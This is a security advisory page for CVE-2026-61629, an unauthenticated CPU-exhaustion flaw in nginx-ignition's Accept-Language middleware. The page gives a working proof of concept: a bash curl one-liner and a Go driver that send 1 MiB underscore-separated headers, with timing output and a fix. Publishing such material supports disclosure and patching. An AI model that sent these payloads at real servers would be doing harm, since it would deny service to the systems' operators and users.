CVE-2026-61629

CVE-2026-61629 is a high-severity allocation of resources without limits or throttling vulnerability in github.com/lucasdillmann/nginx-ignition (go), affecting versions >= 0.0.0-20260126024607-cbaf0fc16ed8, < 0.0.0-20260526022344-0c988fc1277c. It is fixed in 0.0.0-20260526022344-0c988fc1277c.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

nginx ignition has ParseAcceptLanguage _ separator bypass that enables ~75x CPU amplification via Accept-Language header in i18nMiddleware

The gin i18n middleware in nginx-ignition's API server runs in front of every HTTP request and calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.

Affected versions

dillmann.com.br/nginx-ignition v2.40.0 and (per code inspection of main) earlier 2.x versions whose api/common/server/i18n.go middleware routes the Accept-Language header through language.ParseAcceptLanguage without imposing its own size or character filter. Verified on:

  • the official dillmann/nginx-ignition:latest Docker image at v2.40.0 (E2E below)
  • main at commit faef4c99442b329cfa4ee8879bdba41c22866a18 by reading api/common/server/i18n.go (the middleware is unchanged)

Privilege required

Unauthenticated. The middleware is registered on the global gin router that serves both the login page and the unauthenticated /api/health style endpoints. Anyone who can reach the HTTP listener (port 8090 by default) is in scope.

Vulnerable code

api/common/server/i18n.go (blob SHA faef4c99442b329cfa4ee8879bdba41c22866a18):

func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
    return func(ginCtx *gin.Context) {
        lang := commands.DefaultLanguage()

        langHeader := ginCtx.GetHeader("Accept-Language")
        tags, _, err := language.ParseAcceptLanguage(langHeader)
        if err == nil && len(tags) > 0 {
            for _, tag := range tags {
                if commands.Supports(tag) {
                    lang = tag
                    break
                }
            }
        }

        //nolint:staticcheck
        updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
        ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
        ginCtx.Set(i18n.ContextKey, lang)
        ginCtx.Next()
    }
}

ginCtx.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and nginx-ignition does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.

How Accept-Language reaches ParseAcceptLanguage

Every HTTP request that hits the nginx-ignition API server passes through i18nMiddleware (registered as a global gin middleware). The middleware sequence is:

  1. The request enters i18nMiddleware.
  2. ginCtx.GetHeader("Accept-Language") returns the full attacker-supplied header value.
  3. language.ParseAcceptLanguage(langHeader) runs unfiltered.

No size or character-class filter is applied between (2) and (3). The middleware runs for every gin handler, including unauthenticated paths like the root URL and /api/health (which returns 404 but still completes the middleware chain).

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh dillmann/nginx-ignition:latest container:

docker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest
sleep 5

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:18090/api/health

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against dillmann/nginx-ignition:latest at v2.40.0)

A Go driver poc.go boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:18090/api/health"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official dillmann/nginx-ignition:latest image at v2.40.0):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
lucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at
api/common/server/i18n.go.

Target: http://127.0.0.1:18090/api/health   payload=1048576 B

  warm-up                                      header=0 B  '_'=0  '-'=0  status=404  t=10.336041ms

--- measurements (single request each) ---
  baseline (no header)                         header=0 B  '_'=0  '-'=0  status=404  t=4.211583ms
  baseline (1 short tag)                       header=5 B  '_'=0  '-'=1  status=404  t=3.276416ms
  guard-fires control ('-' x payload)          header=1048572 B  '_'=0  '-'=104857  status=404  t=31.683792ms
  attack ('_' x payload)                       header=1048572 B  '_'=104857  '-'=0  status=404  t=2.429408875s
  attack repeat 2                              header=1048572 B  '_'=104857  '-'=0  status=404  t=3.589948166s
  attack repeat 3                              header=1048572 B  '_'=104857  '-'=0  status=404  t=2.415860875s

Interpretation:

Request Header bytes Server time
no header / short tag 0 - 5 3 - 11 ms
1 MiB - separators (CVE-2022-32149 guard fires) 1 MiB 32 ms
1 MiB _ separators (guard bypassed) 1 MiB 2.4 - 3.6 s

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 32 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 404 (the same as the baseline) from the same endpoint but consumes ~2.4-3.6 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~75-110x (32 ms guard-fires vs 2.4-3.6 s attack on the same 1 MiB header).

Credit

Reported by tonghuaroot.

Impact

  • One unauthenticated client can pin one CPU core for ~2.4 seconds per 1 MiB request to any URL (the middleware runs even on 404 paths).
  • Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core nginx-ignition instance indefinitely.
  • The 4xx/5xx status of the eventual response does not matter, the middleware runs before route resolution, so the CPU cost is paid whether the URL exists or not.
  • Self-hosted nginx-ignition instances exposed to the public internet (a documented deployment pattern in the project's README) are exposed.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

CVE-2026-61629 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260526022344-0c988fc1277c); upgrading removes the vulnerable code path.

Affected versions

github.com/lucasdillmann/nginx-ignition (>= 0.0.0-20260126024607-cbaf0fc16ed8, < 0.0.0-20260526022344-0c988fc1277c)

Security releases

github.com/lucasdillmann/nginx-ignition → 0.0.0-20260526022344-0c988fc1277c (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Apply the size / character-class filter inside the middleware before reaching language.ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:

// api/common/server/i18n.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10

func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
    return func(ginCtx *gin.Context) {
        lang := commands.DefaultLanguage()

        langHeader := ginCtx.GetHeader("Accept-Language")
        if strings.Count(langHeader, "-")+strings.Count(langHeader, "_") > maxAcceptLanguageSeparators {
            // Refuse to call into the BCP 47 parser with absurd input.
            langHeader = ""
        }
        tags, _, err := language.ParseAcceptLanguage(langHeader)
        if err == nil && len(tags) > 0 {
            for _, tag := range tags {
                if commands.Supports(tag) {
                    lang = tag
                    break
                }
            }
        }

        //nolint:staticcheck
        updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
        ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
        ginCtx.Set(i18n.ContextKey, lang)
        ginCtx.Next()
    }
}

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.

Frequently Asked Questions

  1. What is CVE-2026-61629? CVE-2026-61629 is a high-severity allocation of resources without limits or throttling vulnerability in github.com/lucasdillmann/nginx-ignition (go), affecting versions >= 0.0.0-20260126024607-cbaf0fc16ed8, < 0.0.0-20260526022344-0c988fc1277c. It is fixed in 0.0.0-20260526022344-0c988fc1277c. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
  2. How severe is CVE-2026-61629? CVE-2026-61629 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/lucasdillmann/nginx-ignition are affected by CVE-2026-61629? github.com/lucasdillmann/nginx-ignition (go) versions >= 0.0.0-20260126024607-cbaf0fc16ed8, < 0.0.0-20260526022344-0c988fc1277c is affected.
  4. Is there a fix for CVE-2026-61629? Yes. CVE-2026-61629 is fixed in 0.0.0-20260526022344-0c988fc1277c. Upgrade to this version or later.
  5. Is CVE-2026-61629 exploitable, and should I be worried? Whether CVE-2026-61629 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-61629 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-61629? Upgrade github.com/lucasdillmann/nginx-ignition to 0.0.0-20260526022344-0c988fc1277c or later.

Other vulnerabilities in github.com/lucasdillmann/nginx-ignition

Stop the waste.
Protect your environment with Kodem.